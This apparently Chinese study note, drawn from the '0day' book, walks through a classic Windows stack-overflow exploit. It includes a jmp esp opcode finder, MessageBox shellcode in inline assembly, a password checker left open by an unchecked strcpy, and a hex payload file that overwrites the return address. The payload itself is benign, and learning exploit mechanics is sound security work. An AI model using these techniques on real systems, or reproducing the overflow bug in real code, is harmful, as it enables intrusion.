shellcode定位

参考 0day书籍中的代码

0x01 内存查找 jmp esp

#include "stdafx.h"
#include<stdlib.h>
#include <windows.h> 
#include <stdio.h> 
#define DLL_NAME "user32.dll" 
int main() 
{ 
	 BYTE* ptr; 
	 int position,address; 
	 HINSTANCE handle; 
	 BOOL done_flag = FALSE; 
	 handle=LoadLibrary(DLL_NAME); 
	 if(!handle) 
	 { 
		 printf(" load dll erro !");
		 exit(0);
	 } 
	 ptr = (BYTE*)handle; 
	 for(position = 0; !done_flag; position++) 
	 { 
		 try
		 { 
			 if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) 
			 { 
				 //0xFFE4 is the opcode of jmp esp
				 int address = (int)ptr + position;
				 printf("OPCODE found at 0x%x\n",address);
			 } 
		 } 
		 catch(...)
		 { 
			 int address = (int)ptr + position; 
			 printf("END OF 0x%x\n", address); 
			 done_flag = true; 
		 } 
	 } 
	 exit(0);
}

0x02  shellcode测试

#include "stdafx.h"

#include <windows.h> 
int main() 
{ 
 HINSTANCE LibHandle; 
 char dllbuf[11] = "user32.dll"; 
 LibHandle = LoadLibrary(dllbuf); 
 _asm{ 
		 sub sp,0x440
		 xor ebx,ebx
		 push ebx // cut string
		 push 0x74736577
		 push 0x6C696166//push failwest
		 mov eax,esp //load address of failwest
		 push ebx
		 push eax
		 push eax
		 push ebx
		 mov eax,0x77D5085C // address should be reset in different OS
		 call eax //call MessageboxA
		 push ebx
		 mov eax,0x7C81CAFA
		 call eax //call exit(0)
 } 

 return 0;
}

0x03 代码示例

// Day0Character2_14.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

#define PASSWORD "1234567"

int verify_password(char *password)
{
	int authenticated;
	char buffer[44];
	authenticated  = strcmp(password,PASSWORD);
	strcpy(buffer,password);
	return authenticated;
}


int main(int argc, char* argv[])
{
	int valid_flag = 0;
	char password[1024];
	FILE* fp;
	LoadLibrary("user32.dll");

	if(!(fp=fopen("c:/pass.txt","rw+")))
	{
		return 0;
	}

	fscanf(fp,"%s",password);

	valid_flag = verify_password(password);

	if(valid_flag){
		printf("incorrect password\n");
	}else{
		printf("success!\n");
	}
	fclose(fp);

	char arr1[7]={'g','y','a','r','m','y','\0'};
	MessageBox(0,arr1,arr1,MB_OK);

	return 0;
}

0x04  二进制 文件 password

33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
33 33 33 33 63 3B DF 77 66 81 EC 40 04 33 DB 53
68 77 65 73 74 68 66 61 69 6C 8B C4 53 50 50 53
B8 5C 08 D5 77 FF D0 53 B8 FA CA 81 7C FF D0

0x05  测试截图

很好的展示了 栈溢出,并且代码利用的过程